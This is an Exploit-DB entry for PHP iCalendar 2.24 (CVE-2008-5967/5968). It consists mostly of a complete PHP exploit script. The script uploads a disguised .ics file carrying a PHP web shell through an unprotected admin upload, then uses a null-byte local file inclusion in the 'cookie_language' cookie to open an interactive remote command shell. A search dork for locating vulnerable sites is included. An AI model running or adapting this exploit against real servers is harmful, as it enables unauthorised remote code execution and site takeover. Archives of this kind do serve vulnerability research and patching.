标题: PHP iCalendar 2.24 - 'cookie_language' Local File Inclusion / Arbitrary File Upload EDB-ID: 6519 CVE: 2008-5968 2008-5967 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: <?php

/*
 -----------------------------------------------------------------
 PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit
 -----------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://phpicalendar.net/
 dork.....: "Powered by PHP iCalendar"
 
 [-] vulnerable code in /admin/index.php
 
 65. // Add or Update a calendar
 66. $addupdate_msg  = '';
 67. if ((isset($_POST['action']))  && ($_POST['action'] == 'addupdate')) {
 68.  for ($filenumber = 1; $filenumber < 6; $filenumber++) {
 69.   $file = $_FILES['calfile'];
 70.   $addupdate_success = FALSE;
 71. 
 72.   if (!is_uploaded_file_v4($file['tmp_name'][$filenumber])) {
 73.    $upload_error = get_upload_error($file['error'][$filenumber]);
 74.   } elseif (!is_uploaded_ics($file['name'][$filenumber])) {
 75.    $upload_error = $upload_error_type_lang;
 76.   } elseif (!copy_cal($file['tmp_name'][$filenumber], $file['name'][$filenumber])) {
 77.    $upload_error = $copy_error_lang . " " . $file['tmp_name'][$filenumber] . " - " . $calendar_path . "/" . $file['name'][$filenumber];
 78.   } else {
 79.    $addupdate_success = TRUE;
 80.   }
 81.   
 82.   if ($addupdate_success == TRUE) {
 83.    $addupdate_msg = $addupdate_msg . '<font color="green">'.$lang['l_cal_file'].' #'.$filenumber.': '.$lang['l_action_success'].'</font><br />';
 84.   } else {
 85.    $addupdate_msg = $addupdate_msg . '<font color="red">'.$lang['l_cal_file'].' #'.$filenumber.': '.$lang['l_upload_error'].'</font><br />';
 86.   }
 87.  }
 88. }
 
 restricted access to this script isn't properly realized, so an attacker might be able to upload a calendar file
 (with .ics extension) into /calendars directory...multiple file extensions isn't checked, but 'ics' is generally
 recognized as text/calendar MIME type by most servers...so this poc try to include the uploaded file using the
 same LFI bug found by rgod (http://retrogod.altervista.org/phpical_221_incl_xpl.html), that isn't still patched!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}

print "\n+---------------------------------------------------------------------------+";
print "\n| PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------------------+\n";

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /phpicalendar/\n";
 die();
}

$host = $argv[1];
$path = $argv[2];

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
$payload .= "addupdate\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"calfile[1]\"; filename=\"fake_cal.ics\"\r\n\r\n";
$payload .= "BEGIN:VCALENDAR\n<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die()} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet   = "POST {$path}admin/index.php HTTP/1.0\r\n";
$packet  .= "Host: {$host}\r\n";
$packet  .= "Content-Length: ".strlen($payload)."\r\n";
$packet  .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet  .= "Connection: close\r\n\r\n";
$packet  .= $payload;
 
http_send($host, $packet);

$packet  = "GET {$path}preferences.php?action=setcookie HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

preg_match("/Set-Cookie: (phpicalendar_[^=]*)=/", http_send($host, $packet), $cookie);

$data = urlencode(serialize(array("cookie_language" => "../calendars/fake_cal.ics".chr(0))));

while(1)
{
 print "\nphpicalendar-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet  = "GET {$path}print.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cookie: {$cookie[1]}={$data}\r\n";
  $packet .= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $output  = http_send($host, $packet);
  $shell   = explode("_code_", $output);
  preg_match("/_code_/", $output) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
 }
 else break;
}

?>

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6519